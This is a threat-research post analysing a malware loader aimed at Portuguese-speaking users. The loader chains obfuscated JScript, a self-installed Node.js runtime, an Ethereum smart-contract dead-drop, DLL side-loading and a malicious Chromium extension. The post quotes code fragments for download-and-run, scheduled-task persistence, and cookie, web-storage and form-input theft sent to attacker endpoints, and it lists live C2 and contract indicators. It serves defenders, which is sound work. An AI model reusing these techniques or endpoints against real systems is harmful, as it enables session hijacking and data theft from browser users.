Ethereum Malware Loader Targets Portuguese-Speaking Users

TL;DR 

Cristóbal Tárraga García, a member of the WatchGuard Threat Lab, uncovered a malware loader targeting Portuguese-speaking users that uses an Ethereum smart contract to dynamically locate attacker infrastructure and distribute additional payloads. The multi-stage infection chain combines obfuscated JavaScript, Node.js, DLL side-loading, and a malicious Chromium browser extension capable of targeting Chrome and Microsoft Edge to collect cookies and web storage, capture screenshots, monitor browser activity, and receive remote commands. 

Introduction 

During the analysis of several related samples in WatchGuard's Attestation laboratory, we identified an unusual infection chain. The attack begins with a heavily obfuscated JavaScript file, installs its own Node.js environment, queries an Ethereum smart contract to obtain the active infrastructure, and downloads multiple components, including executables, DLLs, and a malicious extension targeting Chromium-based browsers. 

The investigation also revealed a modular architecture. Some variants ultimately deploy a pair consisting of a legitimate executable and a native DLL, leveraging DLL side-loading via a legitimate signed executable. 

1. The Beginning: A JavaScript File That Appears to Do Nothing 

The first stage arrives as a JavaScript or JScript file designed to be executed through Windows Script Host, typically using wscript.exe. 

Its visible content is filled with: 

  • random variable and function names; 
  • string tables; 
  • redundant operations; 
  • junk comments; 
  • large Base64-encoded blocks; 
  • text stored in reverse order. 
Obfuscated JavaScript code showing the transformation function used to construct the second stage of the malware infection chain.

The primary transformation observed can be summarized as follows: 

reversed string 

↓ 

string reversal 

↓ 

Base64 decoding 

↓ 

byte-order reversal 

↓ 

second-stage JavaScript 

The second stage is then executed dynamically using JavaScript's Function constructor. 

2. A Fake Error Message to Reassure the Victim 

Once deobfuscated, the script creates a small temporary file that displays an error message in Portuguese: 

Title: 

Erro ao abrir o documento 

Message: 

O documento não foi aberto com sucesso devido a um erro inesperado. 

Portuguese error message displayed by the malware to make the victim believe a document failed to open while malicious activity continues in the background.

 

The goal is to convince the user that the supposed document failed to open because of a normal, non-malicious error. 

While the victim sees this warning, the script continues operating in the background. 

At this stage, the malware makes use of several COM objects available through Windows Script Host: 

new ActiveXObject("WScript.Shell"); 

new ActiveXObject("Scripting.FileSystemObject"); 

new ActiveXObject("ADODB.Stream"); 

It also accesses WMI through a path equivalent to “winmgmts:\\.\root\cimv2” 

This indicates that the code was designed to execute directly on Windows rather than within a browser sandbox. 

3. Sandbox Evasion Checks 

Before proceeding, the script examines the host system. Among other checks, it counts: 

running processes; 

files present on the desktop; 

the availability of writable directories. 

In one of the observed variants, the exit condition is roughly equivalent to: 

if (processCount < 50 || desktopFileCount < 5) { 

    return; 

} 

This is an effective technique for detecting freshly deployed virtual machines, empty user profiles, and certain automated analysis environments. 

A subsequent process enumeration stage is also observed. This routine collects not only process names, but also their executable paths, parent processes, and command-line arguments. 

4. The Malware Installs Its Own Node.js Environment 

One particularly interesting characteristic is that the sample does not assume that Node.js is already installed on the target system. 

The sample downloads a Node.js package from nodejs.org, which appears to be a legitimate Node.js distribution. 

In one of the analyzed samples, the observed version was: v24.18.0 

The expected archive was named similarly to: node-v24.18.0-win-x64.zip 

After extracting the package, the script changes its working directory and executes: 

.\node.exe . 

Obfuscated JavaScript malware code displaying a fake document error while downloading and preparing a Node.js runtime for the next infection stage.

function var69() { 

    item27(..., 'Erro ao abrir o documento'); 

    if (item60()) { 

        var Ref88 = 'https://nodejs.org/dist/' + var62 + 

                    '/node-' + var62 + '-win-x64.zip'; 

        var Ref77 = item48(Ref88, 'node-' + var62 + '.zip'); 

        ref05['CurrentDirectory'] = Ref77; 

        var10('index.b64', 'index.zip', var08); 

        item24('index.zip', Ref77); 

        ref05['Run']('.\\node.exe .', 0x0, false); 

        item73(); 

    } 

This approach allows the malware to provide its own runtime environment, ensuring consistent execution regardless of the software installed on the victim's system. 

Thus, a legitimate runtime ultimately executes the true orchestrator of the infection: index.js. 

This approach provides several advantages to the attacker: 

  • it eliminates the need to embed a large JavaScript engine within the sample; 
  • it relies on a signed and widely trusted binary; 
  • it ensures a consistent execution environment across different Windows versions; 
  • it allows the implementation of networking and communication logic using standard Node.js modules. 

5. `index.js`: The Infection's Control Center 

Embedded within the initial JScript is a ZIP archive encoded in Base64. Once decoded and extracted, it reveals index.js. 

The file relies exclusively on native modules and does not depend on any third-party packages: 

require("node:https"); 

require("node:http"); 

require("node:path"); 

require("node:os"); 

require("node:fs"); 

require("node:crypto"); 

require("node:child_process"); 

Node.js malware code importing HTTPS and process execution functions used to orchestrate the multi-stage infection chain.

Within it, we found several highly distinctive identifiers: 

@@R4P0U53@@ 

98d8049e-804f-11f1-b79f-ae3a8bb85d01 

/5c92d3b8734b4f498752f735a1ca0987/ 

The second value appears throughout the codebase as a consumer, client, or campaign identifier. 

The code also implements its own HTTP client with the following capabilities: 

  • Support for both GET and POST requests. 
  • Automatic handling of HTTP redirects. 
  • Configurable timeout management. 
  • Validation of successful HTTP 2xx responses. 
  • Returning downloaded content as Buffer objects. 
  • Parsing of JSON responses when applicable. 

6. Persistence Disguised as a Node.js Component 

The malware reconstructs a scheduled task XML file and replaces fields such as: 

{WORKINGDIRECTORY} 

{USERNAME} 

{USERID} 

It then executes a command equivalent to: 

schtasks.exe /Create /TN \MicrosoftNodeRuntimeUpdater /XML task.xml /F 

The task name, MicrosoftNodeRuntimeUpdater, is deliberately chosen to resemble a legitimate update mechanism associated with either Node.js or Microsoft, helping the malware blend into the system and avoid attracting attention. 

7. Ethereum as a Configuration Directory 

The orchestrator does not directly store all of its download domains. Instead, it queries a smart contract through a read-only call. 

The observed values are: 

RPC: 

https://ethereum-rpc.publicnode.com 

Contract: 

0xCD7360A83E5cdbBbbbcEB0e78748babA6740d07b 

Function: 

getConfig(string[]) 

Selector: 

0xae05971e 

JSON-RPC Method: 

eth_call 

In the primary variant, the requested keys were: 

main-v2 

sub-module 

sentinel 

The JSON payload sent to the Ethereum node follows a structure similar to the following: 

  "jsonrpc": "2.0", 

  "id": 1, 

  "method": "eth_call", 

  "params": [ 

    { 

      "to": "0xCD7360A83E5cdbBbbbcEB0e78748babA6740d07b", 

      "data": "0xae05971e..." 

    }, 

    "latest" 

  ] 

The program manually constructs the ABI encoding required to submit an array of strings. This includes: 

  • The four-byte function selector. 
  • The array offsets. 
  • The length of each string. 
  • Padding to 32-byte boundaries. 

When a response is received, it is decoded and its fields are split: 

const [host, field2, sentinelUrl] = decoded.split(","); 

The first value is used to build the URL for the primary download. The third contains the URL of the package associated with Sentinel. 

The smart contract therefore acts as a dead-drop resolver: a public location that indicates where the real infrastructure is currently hosted. 

By changing a URL stored in the contract, the operators can redirect already deployed samples to new infrastructure without recompiling or redistributing the JavaScript. 

Malware output showing an Ethereum smart contract query used to dynamically retrieve attacker infrastructure and payload locations.

8. Downloading the Sentinel Package 

Cartoon-style JPG image used in the malware delivery chain to conceal a Base64-encoded payload retrieved through attacker infrastructure.

two of the URLs obtained through Ethereum returns a JPG file that contains a Base64 block delimited by unusual markers: 

Start: 

<<@R9t!Zx#Qv 

End: 

!mX7#Lp@^2Kd 

The code searches for both markers, extracts only the content found between them, and decodes the result. 

The flow is: 

HTTP response 

↓ 

delimiter search 

↓ 

Base64 extraction 

↓ 

decoding 

↓ 

sentinel.cab 

↓ 

expand.exe /F:* 

The CAB archive contains the components. 

items.json 

SentinelMemoryScanner.exe 

`items.json`  specifies two values. 

{ 

  "target": "SentinelMemoryScanner.exe", 

  "library": "SentinelAgentCore.dll" 

} 

Another of the URLs downloads  SentinelAgentCore.dll

The JavaScript writes the components to disk and launches the executable specified as target

9.  The legitimate executable and the native DLL. 

SentinelMemoryScanner.exe is a legitimate executable signed by SentinelOne Inc. 

During initialization, the executable loads SentinelAgentCore.dll from the same directory. 

The code also verifies that the host process is named SentinelMemoryScanner.exe

This is consistent with a DLL side-loading via a legitimate signed executable scenario or with a dependency automatically resolved by the Windows loader. 

The observed DLL has the following characteristics: 

Name: 

SentinelAgentCore.dll 

SHA-256: 

24868f43c6083daa1a418c936158e1a94c28ec6bce5c5a6c95c9311f7017e64d 

Format: 

PE32+ x86-64 

10.   A DLL designed to deploy malicious browser extensions 

The analyzed DLL is a 64-bit native library compiled in C++ with Visual C++. Although it incorporates a large amount of code from auxiliary libraries, such as libcurl, compression routines, and Microsoft components, its primary functionality is focused on obtaining a remote configuration and deploying an extension in Chromium-based browsers, especially Google Chrome and Microsoft Edge. 

Ethereum as a configuration system 

This DLL also uses an Ethereum smart contract as a dynamic configuration mechanism. The most representative function is: 

sub_180019FA0 

Reverse-engineered malware DLL code querying an Ethereum smart contract to retrieve dynamic configuration for malicious browser extensions.

 

Within it, the following keys are constructed: 

"extension" 

"main-v2" 

and a query is prepared against the same contract mentioned earlier: 

https://ethereum-rpc.publicnode.com 

0xCD7360A83E5cdbBbbbcEB0e78748babA6740d07b 

The creation of the JSON-RPC call can later be traced through references to: 

"getConfig" 

"eth_call" 

The DLL queries the contract to retrieve updatable information, most likely domains or addresses from which to download its components. The function itself logs the result using the following string: 

[EXT] domains: %s 

Extension download 

Once the configuration has been obtained, the code attempts to retrieve the extension package from the remote host. This functionality primarily appears around: 

sub_18001C4D0 

sub_18002D270 

The presence of manifest.json confirms that the downloaded object follows the standard structure of a Chromium extension. In addition, the DLL incorporates libcurl and uses functions such as: 

curl_easy_init 

curl_easy_cleanup 

curl_easy_strerror 

Therefore, HTTP or HTTPS communication does not appear to be delegated to PowerShell or external tools; it is implemented directly within the DLL. 

Browser installation in Chrome and Edge. 

The sample contains a specific implementation for modifying browser profiles. IDA even preserves the C++ name of one of the main routines: 

extension::profile_browser(...) 

This function receives profile paths, extension information, and a ZIP structure, which is consistent with the process of: 

  1. Opening the downloaded package. 
  2. Extracting its files. 
  3. Locating installed profiles. 
  4. Creating the extension directory. 
  5. Modifying the browser configuration. 

The associated strings make it possible to clearly trace this phase: 

Could not install extension 
Failed to create browser's extension directory 
Failed to extract extension files 
extensions.settings. 
extension installed successfully on profile 

The DLL also differentiates between browsers: 

Failed to install Chrome extension 

Failed to install Edge extension 

This demonstrates that it is not limited to a generic installation process, but instead contains browser-specific routines for both Google Chrome and Microsoft Edge. 

Windows Registry manipulation 

The installation process also includes Registry operations, as evidenced by the use of: 

RegCreateKeyExW 
RegSetValueExW 

These calls appear within a routine located approximately at sub_180032... 

Execution and monitoring of browsers 

Another of the most interesting components is a routine that creates a process using: 

CreateProcessW 

and uses the following APIs: 

WaitForDebugEvent 
ReadProcessMemory 
ContinueDebugEvent 

This logic is concentrated in the function labeled by IDA as "StartAddress". 

The process is launched with dwCreationFlags = 0x12, a combination that includes execution under a debugger. The DLL then processes the events generated by the new process and examines its memory. 

During this monitoring, it specifically searches for msedge.dll. 

Reverse-engineered malware code searching for msedge.dll and reading Microsoft Edge process memory during browser monitoring.

This behavior alone does not demonstrate code injection. The available evidence is more consistent with a routine that launches the browser under controlled conditions, locates loaded modules, and obtains internal information required to complete the installation process or adapt the procedure to the installed version. 

Result reporting 

Finally, the DLL appears to communicate the outcome of the operation to a server through a path similar to: 

/api/log_extension?hash= 

This functionality appears in sub_18002D270 

Reverse-engineered malware DLL code showing an API request used to report browser extension installation results to a command-and-control server.

This suggests that the DLL not only installs the extension, but also reports the outcome back to the operator, sending the calculated identifier, the affected browser, or some hash associated with the system. 

Reverse-engineered malware code preparing browser extension data including ID, version, domain, and customer identifier for reporting to attacker infrastructure.

11. The malicious extension: the component that operates inside the browser. 

The package retrieved by SentinelAgentCore.dll contains an extension compatible with Chrome, Edge, and other Chromium-based browsers. 

The analyzed sample was presented under the name "MPEG Boost Process V11.14"

Its extension identifier is "ndpbidppejfanjbhfgjlohfanbfbklff"

The chosen name is intended to make the extension appear to be a multimedia component or browser optimization tool. However, its code implements a remote-control implant with direct access to the victim's web activity. 

This stage clearly changes the nature of the infection. Up to this point, the infection chain is primarily focused on preparing the environment, obtaining configuration data, and deploying modules. The extension is the component that observes and manipulates the user's sessions from within the browser.

11.1. Identification of the Infected Client 

The analyzed extension uses its own identifier called `HashClient`.  

During installation or first execution, the extension queries `chrome.storage.local` to check whether a value associated with `HashClient` already exists. If it does not exist, it generates a ten-character pseudo-random string using `Math.random()` and stores it for reuse in subsequent connections.  

The value is generated from the following character set:  

ABCDEFGHJKLMNPQRSTUVWXYZ123456789 

Malicious Chromium browser extension code retrieving the HashClient identifier from local browser storage to track an infected client.

 

 `HashClient` functions as a persistent identifier for the extension instance within the Chromium profile. It is used during WebSocket connection establishment, in messages sent to the server, and in certain HTTP configuration requests.  

 During the WebSocket connection, it is transmitted using a structure equivalent to:  

/google_ws/?client=<HashClient>&extversion=1.0.0&tag=F 

Malicious Chromium browser extension code generating a random HashClient identifier used to track an infected browser instance.

 

 Messages subsequently sent include the same value in the `hash` field:  

  "create_at": "<ISO date>", 

  "from": "client", 

  "hash": "<HashClient>", 

  "action": "<action>", 

  "content": "<data>" 

 The extension also includes a fixed tag:  

TAG: "F" 

This tag is sent to the server as the parameter `tag=F`. The code does not allow its exact meaning to be determined, although it could be used as an internal classifier for a campaign, variant, distributor, or customer group.  

 The persistence and reuse of `HashClient` allow the backend to correlate connections and data originating from the same installation. However, the internal server-side implementation is not available, so it cannot be stated with certainty how sessions are managed.  

It is important to distinguish between the following identifiers: 

98d8049e-804f-11f1-b79f-ae3a8bb85d01: fixed value sent as the op parameter to the dynamic C2 resolution endpoint. Its internal meaning cannot be determined solely from the extension code.  

ndpbidppejfanjbhfgjlohfanbfbklff: stable extension identifier in Chromium.  

HashClient: ten-character pseudo-random identifier generated and stored locally to identify the extension instance during its communications with the backend.  

TAG = "F": static tag sent to the server during WebSocket connection establishment, whose exact meaning is not documented in the code. 

11.2. Dynamic discovery of the command-and-control server

The extension does not statically contain the final address of its command-and-control server. Instead, it includes a fixed resolution endpoint hosted under the domain: 

graph.checkeligibitily.workers.dev 

The complete URL configured in the sample is: 

https://graph.checkeligibitily.workers.dev/x01aab878f25420380b3?op=98d8049e-804f-11f1-b79f-ae3a8bb85d01 

The value 98d8049e-804f-11f1-b79f-ae3a8bb85d01 is sent as the op parameter. The client-side code does not allow determination of whether it identifies an operation, campaign, tenant, or specific internal configuration. 

During startup, the getDynamicHost() function performs an HTTP GET request to this endpoint and expects to receive a JSON response in the form of an array. It then randomly selects one of its entries, extracts a host and, optionally, a port. 

Malicious browser extension code dynamically retrieving and selecting a command-and-control server used for remote browser operations.

 

When the entry does not specify a port, the extension uses port 443 and constructs the following addresses: 

wss://<host> 

https://<host

These addresses are stored respectively in: 

HostCentralWS 

HostCentralAPI 

HostCentralWS is used to establish the WebSocket control channel under the path: /google_ws/ 

while HostCentralAPI is used to perform HTTP requests under: /Google_api/ 

The resolution process is not limited to startup. The extension queries the endpoint again approximately every 60 seconds. If the returned host changes, it closes the existing WebSocket connection and opens a new one against the updated infrastructure. If resolution fails, it deletes the C2 values and closes the active channel. 

This architecture allows the operators to modify the final C2 server through the response of the resolution service, without needing to publish a new version of the extension. However, the resolver domain remains statically hardcoded and constitutes a central point of dependency: if this endpoint becomes unavailable or is blocked, the sample does not contain a visible alternative mechanism for discovering the C2. 

Within the complete chain, two different mechanisms can be distinguished, although they belong to separate stages: 

Ethereum contract or previous configuration 

↓ 

provides resources or addresses used during the distribution chain 

Worker resolution endpoint 

↓ 

provides the extension with the active C2 server and HTTP API 

The role of the second layer is directly demonstrated by the extension code. The exact relationship between the Ethereum contract and the download or installation of the package must be supported through analysis of the DLL or the previous loader, since the extension contains neither Ethereum logic nor references to the contract. 

11.3. Remote control channel via WebSocket 

 Once the active infrastructure has been dynamically resolved, the extension's service worker establishes a WebSocket connection with the obtained server. The connection uses the following path:  

/google_ws/?client=<HashClient>&extversion=1.0.0&tag=F 

The parameters sent during the handshake identify the extension instance through `HashClient` and also include its version and the static `TAG` label.  

When the WebSocket is open, the extension sends a ping message every five seconds. If the connection is closed and a valid C2 host still exists, it schedules a new connection attempt after the configured interval of ten seconds.  

Messages received through the channel are decompressed from Base64 using LZ-String and interpreted as JSON objects. The `action` field determines the function that the extension must execute.  

The code contains handlers for the following commands:  

GSH01  → capture the visible tab 

GAT01  → enumerate open tabs 

GCO01  → collect cookies, sessionStorage, and localStorage 

GHI01  → attempt to query browsing history 

GSO01  → obtain the serialized DOM of a page 

INC01  → inject the content script into a tab 

UPD01  → update target domains and operational rules 

Malicious Chromium browser extension code processing command-and-control instructions to capture screenshots, enumerate tabs, steal cookies and session data, collect browsing history, extract page content, and inject scripts.

 

Some commands accept a tab identifier within their parameters. When this value is not present, the extension uses the active tab of the current window. In this way, the server can request actions against a specific tab or against the one currently being viewed by the user.  

Communication is bidirectional. The extension receives commands through `ws.onmessage` and sends compressed messages through the same WebSocket containing the date, `HashClient`, the executed action, and its result. Responses use suffixes such as `.SUCCESS` and `.ERROR`.  

Not all collected data is transferred directly through the WebSocket. The channel is primarily used to receive commands, maintain the connection, and report results, while screenshots, cookies, web storage, browsing history, and page content are mainly sent through requests to the HTTP API associated with the same C2.  

The flow demonstrated by the code is:  

service worker startup 

↓ 

dynamic resolution of the C2 host 

↓ 

retrieval or generation of HashClient 

↓ 

opening the WebSocket with client, extversion, and tag 

↓ 

receipt of a remote action 

↓ 

selection of its handler 

↓ 

execution against the browser or a tab 

↓ 

data submission through the HTTP API 

↓ 

success or error notification through WebSocket 

Therefore, the sample does not function solely as a periodic information collector. It implements an interactive command-and-control channel that allows the server to request on-demand browser observation, extraction, and manipulation operations while the connection remains active. 

11.4. Tab enumeration and control 

 
The extension can enumerate open tabs using the `chrome.tabs` API. The `CaptureAndSaveAllTabs()` function performs a global tab query and an additional query to identify the active tab in the current window.  
For each tab, it builds a record containing exclusively:  

 
`tabId` corresponds to the internal tab identifier.  

`domain` contains only the domain name extracted from the URL, not the full URL. `isActive` indicates whether that tab matches the active tab of the current window.  
 

Malicious Chromium browser extension code enumerating open browser tabs, collecting domain and active-tab data, and sending the results to attacker infrastructure.

 

The function does not include the page title, loading state, window identifier, or other metadata available through the Chromium API in the transmitted data.  
The list is serialized, compressed using LZ-String, and sent to the C2 HTTP API together with `HashClient`. If the operation completes successfully, the same information is also returned through the WebSocket using a `GAT01.SUCCESS` response.  

Enumeration can be triggered in three ways:  

remote GAT01 command 

activation of a tab belonging to a target domain 

completion of navigation on a target domain  
The target domains do not appear in clear text within the extension. The backend provides a dynamic list whose elements contain MD5 hashes of hostnames. Each time a page is activated or finishes loading, the extension calculates the MD5 hash of its hostname and checks whether it matches any of the received values.  

Malicious Chromium browser extension code hashing a website hostname and comparing it against attacker-provided target domains before activating specific browser actions.

When a command accepts tab parameters, the server can include a `tabId` field. The extension then uses `chrome.tabs.get(tabId)` to retrieve the specified tab. If this value is not provided, it uses the active tab of the current window.  
Tab selection is used in operations such as:  

cookie and web storage extraction 

retrieval of the serialized DOM 

capture of the visible tab 

injection of remote content 

This makes it possible to combine the information obtained during enumeration with subsequent operations directed at a specific tab.  
The sample also implements selective domain-based activation. When the visited hostname matches one of the hashes provided by the C2, it can enable specific functions, such as capturing values entered into forms, applying redirection rules, or reporting the current tab list.  

Domain-match-based activation demonstrates that some functions are not executed indiscriminately across all pages, but only against targets defined by the server. This selectivity may reduce unnecessary activity, although the code does not allow it to be stated that its explicit purpose is to decrease the likelihood of detection. 

11.5. Extraction of Serialized Page DOM Content 

 The extension can obtain the serialized DOM of a tab through the remote command `GSO01`.  

 The operation can target a specific tab if the server includes a `tabId` field in the command parameters. If no such identifier is provided, the extension selects the active tab in the current window.  

 The extraction is performed by executing the following expression within the tab:  

document.documentElement.outerHTML 

 This call returns a serialized HTML representation of the root `` element and all descendant elements that are part of the DOM at the time of capture.  

 The result may include:  

  • HTML element structure 
  • text contained within document nodes 
  • forms 
  • input fields 
  • buttons 
  • links 
  • HTML attributes 
  • content dynamically added before capture 

Once obtained, the DOM is compressed using LZ-String in Base64 format and sent to the C2 HTTP API together with the tab URL and the `HashClient` identifier. The result of the operation is subsequently reported through the WebSocket using a success or error response.  

 The serialized DOM provides the operator with information about the structure of the page, including identifiers, classes, field names, control types, buttons, links, and attributes. This information can be used to analyze the page and prepare subsequent capture or manipulation actions. 

 The extension implements the `GetCookiesAndSessionData()` function, which can be executed through the remote command `GCO01`.  

 The operation acts on a tab specified through `tabId` or, if not specified, on the active tab.  

 Cookies are obtained using:  

chrome.cookies.getAll({ 

    url: selectedTab.url 

}) 

 The manifest declares the `cookies` permission and access to all HTTP and HTTPS hosts.  

 To retrieve web storage, the extension executes the following within the tab:  

JSON.stringify(window.sessionStorage)  and  JSON.stringify(window.localStorage) 

 The code collects the available content without searching for specific keys or values.  

 The cookies, `sessionStorage`, `localStorage`, and the tab URL are compressed using LZ-String in Base64 format and sent to:  

/google_api/108766d0.css 

Malicious Chromium browser extension code compressing and sending cookies, sessionStorage, localStorage, and the active tab URL to attacker-controlled infrastructure.

 The request uses the following structure:  

    a: "<compressed cookies>", 

    b: "<compressed sessionStorage>", 

    c: "<compressed localStorage>", 

    d: "<compressed URL>", 

    e: "<HashClient>" 



The extension subsequently reports the result through the WebSocket using either `GCO01.SUCCESS` or `GCO01.ERROR`. 

 

11.7. Selective Capture of Entered Values 

The extension implements a function for capturing values entered into `input` and `textarea` fields. It listens for the `input` event and, after 500 milliseconds without further changes, retrieves the current full value of the field.  

 The function is activated when a page finishes loading whose hostname matches one of the domain hashes received from the C2 and the associated configuration contains the value `b = 1`.  

 Once activated, it adds listeners to existing fields and uses a `MutationObserver` to detect fields dynamically added to the page. For each change, it sends:  

    action: "KeyLogger", 

    content: { 

        InputName: "<name, id, or unknown>", 

        inputValue: "<current field value>" 

    } 

Malicious Chromium browser extension code monitoring input and textarea fields and sending captured field names and values through a keylogger function.

 

The service worker forwards this message to the C2 through the WebSocket using the `INJCLIST` action. 

11.8. HTTP communication interception 

 The extension uses the `chrome.webRequest` API to monitor outgoing browser requests. It registers listeners on `onBeforeRequest` and `onBeforeSendHeaders`, with access to the request body and the transmitted headers.  

 

Malicious Chromium browser extension code registering webRequest listeners to monitor outgoing HTTP requests, request bodies, and headers.

  

Interception is applied only when the request matches a rule received from the C2. The extension compares the MD5 hash of the hostname, a string that must appear in the URL, and the HTTP method.  

 When a match exists, it can collect:  

  • full request URL 
  • HTTP method 
  • first available block of requestBody.raw 
  • available outgoing headers in requestHeaders 

 The URL, method, body, and headers are compressed using LZ-String in Base64 format and sent to “/Google_api/6c0c92f6.css”  together with `HashClient`. 

11.9. Screenshots 

 The extension can receive the remote command `GSH01` to capture the visible area of the active tab using:  

chrome.tabs.captureVisibleTab(null, { 

    format: "jpeg", 

    quality: 20 

}) 

 The operation generates a low-quality JPEG image of what is currently displayed in the active window. It does not automatically capture the full page length nor perform scrolling.  

 The capture may include any visible content rendered by the browser, such as text, images, graphics, QR codes, `canvas` elements, virtual keyboards, and messages displayed on screen.  

 The image and the associated URL are compressed using LZ-String in Base64 format and sent to “/Google_api/0f51ad2f.css”  together with `HashClient`. 

 The result is subsequently reported through the WebSocket using either `GSH01.SUCCESS` or `GSH01.ERROR`.  

 This function complements DOM extraction: the DOM provides the serialized HTML structure, whereas the screenshot reflects only the visual representation visible at the time of the operation. 

11.10. Remote HTML injection 

The extension can receive the remote command `INC01` to insert HTML content into a browser tab. The operation can target a tab specified through `tabId` or, if not provided, the active tab.  

The service worker requests the content to be displayed from the C2 and sends it to the content script through `chrome.tabs.sendMessage()`. The content script creates an element within the page and assigns the received content using `innerHTML`.  

The extension also installs handlers on the forms and fields included in the injected content, allowing it to collect values entered by the user and forward them to the C2. 

Malicious Chromium browser extension code retrieving remote HTML from attacker-controlled infrastructure and injecting the content into an active browser tab.

 

11.11. Event Interception and Redirection 

The extension can receive rules from the C2 composed of a CSS selector, an event type, and a destination URL.  

 When a page belonging to a configured domain is loaded, the content script locates the elements matching the selector and registers the specified event on them using `addEventListener()`.  

 

Malicious Chromium browser extension code intercepting configured page events and sending a redirect action with the targeted selector and destination URL.

 

 When the event occurs, the extension executes:  

event.stopImmediatePropagation(); 

event.preventDefault(); 

These calls prevent event propagation and cancel its default behavior. The extension then reports the selector, the event type, and the configured address to the C2. If the rule contains a destination URL, it replaces the navigation using:  

window.location.href = destination_url; 

The event is not limited to clicks, since its name is received dynamically from the server. The function can be applied to links, buttons, forms, or other elements, provided that the received selector and event are valid.  

The code demonstrates the capability to cancel a legitimate user interaction and redirect the tab. 

11.12. Scope Provided by Extension Permissions 

A regular web script is constrained by the browser's isolation mechanisms, including the same-origin policy. The analyzed extension, however, has permissions over HTTP and HTTPS pages and uses Chromium-specific APIs.  

Its architecture combines two main components. The content script is loaded into authorized pages and can read or modify their DOM, monitor input fields, inject HTML, intercept events, and change the page location. Although it operates in a JavaScript context isolated from the site's own code, it retains access to the shared DOM.  

The service worker maintains the core logic. From this component, the C2 server is resolved, the WebSocket is opened, commands are received, tabs and cookies are queried, scripts are executed within pages, screenshots are captured, and data is transmitted through HTTP requests.  

The sample specifically uses:  

chrome.tabs → tab enumeration and selection 

chrome.cookies→ retrieval of cookies associated with a URL 

chrome.scripting→ execution of code to read the DOM, localStorage, and sessionStorage 

chrome.tabs.captureVisibleTab→ capture of the visible area of the active tab 

chrome.webRequest→ selective observation of outgoing HTTP requests 

WebSocket→ receipt of commands and transmission of results 

 The combination of these components allows the extension to observe browser information, collect data from pages and sessions, receive remote instructions, and modify the user's interaction with specific websites. These capabilities are implemented directly in the sample's code and depend on the permissions declared in its `manifest.json`. 

Manifest file for the malicious MPEG Boost Process browser extension showing permissions to access tabs, cookies, scripting, web requests, and all HTTP and HTTPS websites.

12.  Mapping of Identified Techniques to MITRE ATT&CK 

Technique  ATT&CK ID 
   
WScript/JScript   T1059.007 
Scheduled Task   T1053.005 
DLL Side-loading   T1574.002 
Browser Session Theft   T1539 
WebSocket C2   T1071.001 
Browser Extension   T1176.001 
Dynamic Resolution/ Ethereum  T1102.001 

 

13. Conclusion 

This malware campaign targeting Portuguese-speaking users combines obfuscated JavaScript, legitimate software, Node.js, Ethereum-based configuration, DLL side-loading, and a malicious browser extension into a modular infection chain. 

Rather than relying on a single novel technique, the campaign separates each stage of the attack into a specific role: 

  • JScript initiates the infection and executes the first stage of the malware.  
  • Node.js acts as the orchestrator, providing the runtime used to coordinate subsequent stages.  
  • Ethereum provides dynamically updatable configuration, allowing the malware to retrieve information about active attacker infrastructure.  
  • The Sentinel package deploys the native components used later in the infection chain.  
  • The native DLL retrieves and installs the malicious browser extension targeting Chromium-based browsers such as Google Chrome and Microsoft Edge.  

This modular architecture gives the operators flexibility to change infrastructure or replace final payloads without modifying the initial malware stages already distributed to victims. 

The broader lesson for defenders is that this campaign should not be viewed as an isolated Ethereum abuse technique or browser-extension attack. It demonstrates how attackers can combine legitimate tools, blockchain-based infrastructure, DLL side-loading, and browser-level access into a flexible malware delivery chain designed to adapt as infrastructure and payloads change. 
 
For more threat research, malware analysis, and practical cybersecurity insights from the WatchGuard Threat Lab, follow WatchGuard on LinkedIn to stay current on the threats and techniques shaping today’s security landscape. 

And for deeper technical analysis delivered directly to you, subscribe to Secplicity for the latest WatchGuard Threat Lab research, security intelligence, and cybersecurity news.